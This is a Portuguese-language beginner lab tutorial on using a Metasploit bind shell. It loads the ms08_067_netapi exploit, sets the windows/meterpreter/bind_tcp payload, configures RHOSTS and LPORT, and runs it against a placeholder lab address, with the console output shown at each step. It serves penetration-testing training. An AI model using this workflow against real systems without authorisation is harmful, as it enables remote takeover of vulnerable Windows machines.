Use um Payload de Bind Shell no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os passos fundamentais para usar um payload de bind shell no Metasploit Framework. Metasploit é uma poderosa ferramenta de teste de penetração que permite aos profissionais de segurança encontrar, explorar e validar vulnerabilidades.

Um "payload" no Metasploit é o código que é executado no sistema alvo após uma vulnerabilidade ter sido explorada com sucesso. Um payload de "bind shell" é um tipo específico que abre uma porta de escuta na máquina alvo. O atacante então se conecta a esta porta para obter um shell de comando e controlar o sistema. Isso é diferente de um "reverse shell", onde a máquina alvo inicia uma conexão de volta para o atacante.

Ao longo deste laboratório, você praticará o fluxo de trabalho completo: iniciar o Metasploit, selecionar um exploit, configurar um payload de bind shell com as opções necessárias e tentar executar o exploit.

Selecionar um módulo de exploit para um alvo

Nesta etapa, você iniciará o console do Metasploit Framework e selecionará um módulo de exploit. Um exploit é um pedaço de código que se aproveita de uma vulnerabilidade específica em um sistema. Para este laboratório, usaremos um exploit bem conhecido para fins de demonstração.

Primeiro, abra seu terminal e inicie o console do Metasploit. Usaremos o flag -q para o modo "quiet" (silencioso) para pular o banner e iniciar mais rapidamente.

msfconsole -q

Assim que o console carregar, seu prompt mudará para msf6 >. Agora, você precisa selecionar um exploit. Usaremos o exploit ms08_067_netapi, que visa uma vulnerabilidade no serviço do Windows Server.

Use o comando use para carregar o módulo de exploit:

use exploit/windows/smb/ms08_067_netapi

Após executar o comando, você verá seu prompt mudar para refletir o módulo de exploit atualmente ativo.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Observe que o Metasploit selecionou por padrão um payload reverse_tcp. Mudaremos isso na próxima etapa.

Definir o payload para windows/meterpreter/bind_tcp

Nesta etapa, você alterará o payload padrão para um payload de bind shell. Conforme mencionado na introdução, um payload de bind abrirá uma porta no sistema alvo, aguardando o atacante se conectar.

Usaremos windows/meterpreter/bind_tcp. Este payload não apenas fornece um shell, mas uma sessão Meterpreter, que é um payload avançado e rico em recursos que oferece mais controle sobre o sistema alvo.

Dentro do prompt do msfconsole, use o comando set payload para especificar o novo payload:

set payload windows/meterpreter/bind_tcp

O Metasploit confirmará a alteração.

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

Você agora configurou com sucesso o exploit para usar um payload Meterpreter de bind.

Definir a opção RHOSTS para o exploit

Nesta etapa, você precisa especificar o alvo do seu exploit. No Metasploit, o endereço do alvo é definido usando a opção RHOSTS (Remote Hosts).

Você deve informar ao Metasploit qual máquina atacar. Em um cenário do mundo real, você teria descoberto o endereço IP de uma máquina vulnerável através de reconhecimento. Para este laboratório, usaremos um endereço IP de placeholder.

Use o comando set para configurar a opção RHOSTS. Vamos defini-la para 172.17.0.2, que é um endereço IP comum para um contêiner em uma rede bridge do Docker.

set RHOSTS 172.17.0.2

O console confirmará que a opção RHOSTS foi definida.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

Agora o Metasploit sabe para onde enviar o exploit.

Definir a opção LPORT para o payload no alvo

Nesta etapa, você configurará a porta de escuta para o bind shell. Com um payload de bind, a opção LPORT (Local Port) especifica a porta TCP que o payload abrirá na máquina alvo. Este é um conceito crucial: você está definindo a porta à qual se conectará após o exploit ser bem-sucedido.

Usaremos a porta comum 4444 para este propósito.

Use o comando set para configurar a opção LPORT:

set LPORT 4444

O console confirmará a configuração.

msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444

Para ter certeza de que todas as nossas opções estão definidas corretamente, você pode usar o comando show options para revisar a configuração tanto do exploit quanto do payload.

show options

Você deverá ver uma tabela de saída onde RHOSTS e LPORT estão corretamente definidos com os valores que você forneceu.

...
Payload options (windows/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT  4444             yes       The listen port
   RHOST  172.17.0.2       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
...

Executar o exploit e conectar à porta de escuta

Nesta etapa, com todas as opções configuradas, você lançará o ataque. O comando exploit (ou seu alias, run) instrui o Metasploit a enviar o exploit e o payload para o alvo.

Agora, execute o exploit:

exploit

Nota Importante: Neste ambiente de laboratório, não há uma máquina Windows vulnerável no endereço 172.17.0.2. Portanto, o exploit falhará. O objetivo desta etapa é entender o comando e observar o processo. Em um teste de penetração real, se o alvo fosse vulnerável, este comando criaria uma sessão.

Você verá o Metasploit tentar se conectar, mas eventualmente o tempo limite será atingido. A saída será algo parecido com isto:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.

Esta saída é esperada. Ela confirma que o Metasploit executou o exploit, mas nenhuma sessão foi estabelecida porque o alvo não era vulnerável ou alcançável. Você completou com sucesso o fluxo de trabalho para usar um payload de bind shell.

Para sair do console do Metasploit, digite exit:

exit

Resumo

Neste laboratório, você aprendeu o processo essencial de configuração e uso de um payload de bind shell dentro do Metasploit Framework.

Você praticou o fluxo de trabalho principal:

  1. Iniciar o console do Metasploit (msfconsole).
  2. Selecionar um módulo de exploit com o comando use.
  3. Definir um payload específico com set payload.
  4. Configurar opções específicas do alvo, como RHOSTS (o IP do alvo) e LPORT (a porta de escuta no alvo).
  5. Executar o ataque com o comando exploit.

Mais importante, você agora entende a característica principal de um bind shell: ele abre um listener no sistema alvo, exigindo que o atacante se conecte a ele. Este conhecimento fundamental é crítico para a realização de testes de penetração e para a compreensão de diferentes métodos de obtenção de acesso remoto.